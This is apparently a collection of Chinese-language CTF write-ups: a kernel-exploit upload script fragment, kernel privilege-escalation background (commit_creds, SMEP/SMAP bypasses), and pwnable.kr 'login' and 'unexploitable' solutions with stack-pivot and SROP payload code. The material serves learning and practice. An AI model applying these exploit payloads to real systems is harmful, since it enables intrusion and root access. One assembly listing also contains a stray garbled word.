os.system('musl-gcc -static -O2 ./poc/exp.c -o ./poc/exp')
os.system('gzip -c ./poc/exp > ./poc/exp.gz')
r.sendlineafter(cmd, 'cat <<EOF > exp.gz.b64')
r.sendline((read('./poc/exp.gz')).encode('base64'))
r.sendline('EOF')
r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
r.sendlineafter(cmd, 'gunzip ./exp.gz')
r.sendlineafter(cmd, 'chmod +x ./exp')
r.sendlineafter(cmd, './exp')
r.interactive()


p = process('./boot.sh', shell=True)
# p = remote('127.0.0.1',0000 )

exploit(p)

这里需要在当前目录下新建一个 poc 文件夹,把 exp.c 文件放进去,或者自己修改下脚本也可以,另外还需要安装musl-gcc,在ubuntu下:apt-get install musl-tools

img

这是sixstars 战队中一位师傅的脚本,不知道是哪位大佬的。

pwn-kernel_前置知识

一、内核前置基础知识:

1.physmap:

physmap是内核管理的一块非常大的连续的虚拟内存空间,为了提高效率,该空间地址和RAM地址直接映射。RAM相对physmap要小得多,导致了任何一个RAM地址都可以在physmap中找到其对应的虚拟内存地址,而用户空间的虚拟内存也会映射到RAM。

所以可能会形成如下关系:

usr_data—>RAM—->physmap

那么physmap中就有可能会保存usr_data,那么就为提权代码放到内核空间提供了前置条件,同时有mmap就可能会导致条件竞争。

2.ioctl:系统调用,用于与设备通信

由于内核和用户空间隔离开,所以就需要一个接口来使得用户可以在一定情况下访问内核空间:

int ioctl(int fd, unsigned long request, …)

第一个参数为打开设备 (open) 返回的文件描述符,第二个参数为用户程序对设备的控制命令,再后边的参数则是一些补充参数,与设备有关。

3.状态转换相关操作:

当发生系统调用,产生异常,外设产生中断等事件时,会发生用户态到内核态的切换

ENTRY(entry_SYSCALL_64)

(1).用户态至内核态:

①swapgs指令触发,切换到kernel GS:

SWAPGS_UNSAFE_STACK

②保存栈值,设置内核栈:

movq %rsp, PER_CPU_VAR(rsp_scratch)

movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp

③压栈保存寄存器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#注释头 

/* Construct struct pt_regs on stack */
pushq $__USER_DS /* pt_regs->ss */
pushq PER_CPU_VAR(rsp_scratch) /* pt_regs->sp */
pushq %r11 /* pt_regs->flags */
pushq $__USER_CS /* pt_regs->cs */
pushq %rcx /* pt_regs->ip */
pushq %rax /* pt_regs->orig_ax */
pushq %rdi /* pt_regs->di */
pushq %rsi /* pt_regs->si */
pushq %rdx /* pt_regs->dx */
pushq %rcx tuichu /* pt_regs->cx */
pushq $-ENOSYS /* pt_regs->ax */
pushq %r8 /* pt_regs->r8 */
pushq %r9 /* pt_regs->r9 */
pushq %r10 /* pt_regs->r10 */
pushq %r11 /* pt_regs->r11 */
sub $(6*8), %rsp /* pt_regs->bp, bx, r12-15 not saved */

④判断类型并跳转:

1
2
3
4
5
#注释头

movq PER_CPU_VAR(current_task), %r11
testl $_TIF_WORK_SYSCALL_ENTRY|_TIF_ALLWORK_MASK, TASK_TI_flags(%r11)
jnz entry_SYSCALL64_slow_path

1
2
3
4
5
6
7
#注释头

entry_SYSCALL64_slow_path:
/* IRQs are off. */
SAVE_EXTRA_REGS
movq %rsp, %rdi
call do_syscall_64 /* returns with IRQs disabled */

(2)内核态至用户态:

①swapgs恢复GS

②iretq(加上寄存器信息)或sysretq,如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)

kernel 的 crash 通常会引起重启

4.相关保护技术Mitigation:

(1)SMAP和SMEP保护技术:

(arm里面叫PXN(Privilege Execute Never)和PAN(Privileged Access Never))

①SMAP:禁止内核访问用户空间的数据(Supervisor Mode Access Prevention)

②SMEP:禁止内核执行用户空间的代码(Supervisor Mode Execution Prevention)

内核命令行中添加nosmap和nosmep禁用

(2)kernel canary:

编译内核时设置CONFIG_CC_STACKPROTECTOR,可以起到类似于stack canary的技术。

(3)KALSR:内核地址随机化

5.提权代码与函数结构体:

cred结构体:kernel用cred结构体记录进程权限(每个结构都有一个cred结构),保存了进程的相关信息,如果利用这个cred就可以提权。一般调用commit_creds(prepare_kernel_cred(0))完成提权然后用户态“着陆”起shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#注释头

struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
/* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;

不同内核版本的cred结构体可能不太一样。

二、内核态函数及相关变化:

1.printf() -> printk(),但需要注意的是 printk() 不一定会把内容显示到终端上,但一定在内核缓冲区里,可以通过 dmesg 查看效果

2.malloc() -> kmalloc(),内核态的内存分配函数,和malloc()相似,但使用的是slab/slub分配器。

3.free() -> kfree(),同 kmalloc()

4.memcpy() -> copy_from_user()/copy_to_user()

5.copy_from_user() 实现了将用户空间的数据传送到内核空间

6.copy_to_user() 实现了将内核空间的数据传送到用户空间

7.提权相关函数:

1
2
3
4
#注释头

int commit_creds(struct cred *new)
struct cred* prepare_kernel_cred(struct task_struct* daemon)

执行commit_creds(prepare_kernel_cred(0))即可获得 root 权限

函数地址可在/proc/kallsyms,老版本/proc/ksyms中查看(cat|grep),权限一般需要root

三、保护绕过技术:

1.ret2usr:

在没有SMAP/SMEP的情况下把内核指针重定向到用户空间的漏洞利用方式被称为ret2usr

2.ret2dir:

如果用户空间用mmap()把提权代码映射到内存RAM,那么就可以在physmap里找到其对应的副本,就可以修改EIP跳到副本执行,这种利用方式被称为ret2dir。

3.kernel canary:

绕过方法同用户空间的canary绕过大致相同,编译内核时设置CONFIG_CC_STACKPROTECTOR,可以起到类似于stack canary的技术。

pwnable.kr-login

1.常规checksec一下,开了canary和NX,然后IDA打开分析漏洞。发现auth函数中可能存在栈溢出:

1
2
3
4
5
#注释头

int v4; // [esp+20h] [ebp-8h]
------------------------------------
memcpy(&v4, &input, a1);

如果a1大于8h,而我们可以控制input,那么就可以造成栈溢出。再往上翻一下,发现就是将我们的输入通过一系列操作给到input,然后a1是input的长度。

实际情况是将我们的输入给s,进行Base64解码,然后给v4,长度给v6。v4又给input,v6传值到达auth函数赋值给a1。这里input是全局变量,所以auth函数中的input中的内容其实就是我们输入经过base64解码的内容。

1
2
3
4
5
6
7
8
9
#注释头

_isoc99_scanf("%30s", &s);
--------------------------------------------------
v6 = Base64Decode((int)&s, &v4);
--------------------------------------------------
memcpy(&input, v4, v6);
------------------------------------------------------
auth(v6) == 1

▲题外话:最开始Base64搞不懂哪个是输入,哪个是输出,直接经过调试就可以判断。况且最开始的v4是0,总不能程序永远都将0进行base64解码然给到我们的输入地址中吧。但是调试的时候发现,每次输入相同的值,但是解码后得到的v4的值却是不一样的。这就纳闷了,为什么一样的输入四个AAAA得到的解码值不一样呢,难道程序还有个随机变量不成。之后再仔细调试发现这个base64decode有点不一样,虽然传入的两个参数都是地址,但是第一个参数的操作却是从该地址直接取值进行解码,然后对于第二个参数的操作却并不是将解码结果给到第二个参数,而是再开辟一块堆内存,之后将该堆内存的地址给到第二个参数。所以每次解码后第二个参数,也就是栈上的一个值,总是不一样,因为这里保存的是一个随机生成的堆地址,而不是解码后的值。同样之后观察main函数中的memcpy也可以发现:memcpy(&input, v4, v6);而memcpy的原型是:

1
2
3
#注释头

void *memcpy(void *dest, const void *src, size_t n)

前两个参数类型都应该是地址才对,而这里却直接将v4的值给传进去,那不就说明v4的值是一个地址吗。然后再跳转到汇编代码分析一波:

1
2
3
4
5
6
7
8
9
#注释头

.text:080493B3 call _memset
.text:080493B8 mov dword ptr [esp+18h], 0
.text:080493C0 lea eax, [esp+18h]
.text:080493C4 mov [esp+4], eax
.text:080493C8 lea eax, [esp+1Eh]
.text:080493CC mov [esp], eax
.text:080493CF call Base64Decode

同样Base64Decode函数的两个参数也都是地址,这里是直接取栈地址给到eax,然后再将eax的值给相应esp指向的栈内存。所以可以看到Base64Decode取值应该是从栈上取两个地址才对,分别位于main函数栈的是esp+4和esp。所以如果这里有个格式化字符串那么就完全可以泄露处出栈地址,之后就完全可控,可惜没有。还是回到正轨分析吧。

2.所以经过前面分析,程序要求我们输入一个base64编码过的字符串,随后会进行解码并且复制到位于bss段的全局变量input中,最后使用auth函数进行验证,通过后进入带有后门的correct()打开shell。并且由于长度有限制:所以我们的输入base64解码后最多只能有12个字节。

1
2
3
4
5
6
#注释头

if ( v6 > 12 )
{
puts("Wrong Length");
}

3.汇总一下,程序存在栈溢出,但只能溢出4个字节,也就是一个地址,也就是最多只能覆盖到ebp,然后存在后门函数。由于没办法直接覆盖返回地址,所以这里就在ebp上做文章,使用栈劫持技术。之前的栈劫持可以用rop,但是这里没办法,因为无法进行返回地址覆盖。但是还有一个地方,就是我们的输入最后会被解码赋值给input,这个input是个全局变量,不受到ASLR影响,而又可以控制12个字节,如果可以把栈挪移到这个地方,那么就是可控了。

栈模型如下:

imgimg

可控栈如下:

img

4.总体思路应该是:

①劫持auth函数的栈底到input_addr,那么auth函数在退出到main函数时,main函数栈的栈底就不会回到之前的main函数栈栈底,而是会挪移到我们input_addr,也就是payload3的值。

②开始执行auth函数中的退出操作,到leave时,执行操作leave的第一步汇编操作mov esp ebp,将栈顶指向ebp指向的内容,此时ebp已经被修改成了payload3,而payload3会被赋值成Input_addr,也就是esp会指向input_addr。

②执行leave第二步汇编指令pop ebp,将当前栈顶的值赋值给ebp,也就是ebp的值会变成payload1,(这里的payload1没什么作用,可以随便填)之后esp由于pop,esp+0x4,会往栈底移动一个地址,移动到指向我们输入的payload2处。

img

④之后retn执行,实际指令为pop eip,也就是将当前栈顶数据给eip,也就是eip被赋值为我们payload中的payload2。

img

⑤最后执行retn的第二条实际指令:jmp eip,此时eip就已经是payload2的值,所以将该payload2设置为correct函数地址或者是system(“/bin/sh”);就可以getshell。

总的来说,就是利用leave和retn两个操作来劫持eip的值,使其直接指向后门函数,一步getshell。

5.创建payload,组成应该是:

1
2
3
4
5
#注释头

#首先确定地址:
correct_addr = 0x08049278
input_addr = 0x0811eb40

之后确定payload的组成:

payload = padding + eip + input_addr。

1
2
3
4
5
6
#注释头

payload = "aaaa" #padding
payload += p32(0x08049284)
#system("/bin/sh")地址,整个payload被复制到bss上,栈劫持后retn时栈顶在这里
payload += p32(0x0811eb40) #新的eip地址

最后得注意发送的是base64编码之后的payload。

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157

pwnable.kr-unexploitable

1.常规checksec,只开启了NX。IDA打开找漏洞,程序很简单,读入数据栈溢出,可以读取1295个字节,但是buf只有0x10h大小,所以可以溢出足够长的数据。

2.程序没有后门,没有导入system函数,没有binsh字符串,也没有write、put、printf之类的可以泄露libc的函数,没办法ROP,然后ROPgadget也搜不到syscall。这里换用另一种工具ropper来搜索:ropper –file=unexploitable –search “syscall”,可以搜到一个。有了syscall,可以尝试用rop来给寄存器赋值然后开shell,但是这里还是搜不到给rsi,rdi等寄存器赋值的gadget,这就意味着我们也没办法直接通过ROP实现getshell。

3.如果没有开NX,直接栈劫持然后shellcode就完事了,但是开启了NX,没办法shellcode。

4.啥也不管用的时候,可以用SROP,也就是通过syscall再利用SigreturnFrame来设置寄存器rsi和rid的值,加上字符串binsh可以直接getshell,不用非得设置rsi,rdi寄存器值的rop。但是这里使用SigreturnFrame有限制,需要溢出的长度较长一些,32位下需要依顺序布置栈,64位条件下需要往栈中布置一个结构体,所以需要输入足够长的payload来修改。

5.这里使用的方案是SigreturnFrame,先考虑一段足够长的可修改的内存地址来给我们存放栈劫持的内容。但是在IDA中按ctrl+s查看内存段,发现所有的可改可读的内存段都特别小,没办法存放足够长的溢出内容。这里忽略了一个知识点,临时创建的缓存:也就是我们使用read(0, &buf, 0x50FuLL);时,会临时创建一个长度为0x50F的缓存区间,这个区间足够满足我们的需求,但是在IDA中找不到,那就没办法栈劫持到这个位置。这里可以先动态调试一下,由于没有开启PIE,程序加载后的基地址是固定的,所以无论程序加载多少次,地址仍然不会发生改变。那么转向动态调试,可以看到程序冒出来一个可读可写的内存段:unexploitable,这个就是临时创建的一个缓存区间,长度为F88,足够用来执行操作。

img

6.在这个区间上任意选取一个地址来栈劫持,这里选择0x60116c,然后编写payload,尝试能否成功栈劫持并且读入binsh:

1
2
3
4
5
6
7
8
9
#注释头

payload = ""
payload += 'a'*16 #padding
payload += p64(fake_stack_addr)
#main函数返回时,将栈劫持到fake_stack_addr处,第一次将使得rbp变为fake_stack_addr, rbp + buf为fake_stack_addr - 0x10
payload += p64(set_read_addr)
#汇编指令为lea rax, [rbp+buf]; mov edx, 50Fh; mov rsi, rax; mov edi, 0; mov eax, 0; call _read的地址处
io.send(payload)

这样接下来如果再输入binsh字符串,就可以读取到[rbp+buf]处。需要注意的是,这里的set_read_addr是从下图最开始跳转,如果直接跳转call read,那么就会由于read取参是edx,rsi,edi,从而导致数据会存入rsi指向的地址,没办法存到我们劫持的栈中。观察read函数汇编代码可以知道,虽然read存入的地址是rsi,但是rsi是通过rbp+buf来赋值的,所以我们可以通过修改rbp为fake_stack,使得rbp+buf的地址变为fake_stack上的某个地址,再执行下图中的代码,就可以使得read读取的内容直接进入到劫持栈rbp+buf上,也就是fake_stack上。

img

7.栈劫持完成之后,考虑第二段的payload,也就是输入binsh字符串和后续内容,来执行SigreturnFrame,使用:

1
2
3
4
#注释头

payload = ""
payload += "/bin/sh\x00"

输入字符串binsh,存放在fake_stack_addr-0x10处

1
2
3
4
#注释头

payload += 'a'*8 #padding
payload += p64(fake_stack_addr+0x10)#存放在0x60116c处

读取完之后,执行leave指令之前的栈底为0x60116c,而leave指令相当于:mov rsp rbp;和pop rbp:

(1)第一条mov rsp rbp之后,0x60116c就被赋值给rsp,也就是rsp指向0x60116c。

(2)第二条pop rbp之后,把0x60116c处的内容赋值给rbp,这里设置0x60116c处的内容为fake_stack_addr+0x10,也就是0x60117c,那么rbp指向0x60117c。rsp下挪一个单位,指向0x60116c+0x08=0x601174。

故leave指令执行完后rsp = 0x601174,rbp = 0x60117c。

▲这里这么设置是有原因的,为了挪动rsp来指向0x601174。

1
2
3
4
#注释头

payload += p64(call_read_addr)#存放在0x601174
#存放在0x601174处,为了之后再次调用read修改rax。

接着执行retn指令,相当于pop eip,此时的rsp指向 0x601174,所以我们需要将0x601174处的值变为read_addr的地址,也就是这条语句,这里设置read_addr为0x400571,也就是带有call指令的read。

1
2
3
注释头

payload += p64(fake_stack_addr)#存放在0x60117c,这里可以随便设置,用不到

retn指令之后就是call指令,各种寄存器的值还是没变,所以照常用就行,回来之后rsp仍旧指向0x60117c。此时栈状态为:

rsp = 0x60117c,rbp = 0x60117c。

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

payload += str(frameExecve)#设置SigreturnFrame结构体

io.send(payload)
#set_read处的读取

sleep(3)


io.send('/bin/sh\x00' + ('a')*7)
#call_read处的读取。

读取15个字符到0x60115c,目的是利用read返回值为读取的字节数的特性设置rax=0xf,注意不要使/bin/sh\x00字符串发生改变。

最后io.interactive()即可getshell。

▲总的程序流应该是:首次read->set_read->call_read->syscall

结构体的设置,固定模式:

1
2
3
4
5
6
7
8
#注释头

frameExecve = SigreturnFrame() #设置SROP Frame
frameExecve.rax = constants.SYS_execve
frameExecve.rdi = binsh_addr
frameExecve.rsi = 0
frameExecve.rdx = 0
frameExecve.rip = syscall_addr

开头设置:

1
2
3
4
5
6
7
#注释头 

syscall_addr = 0x400560
set_read_addr = 0x40055b
read_addr = 0x400571
fake_stack_addr = 0x60116c
binsh_addr = 0x60115c

参考资料:

https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=157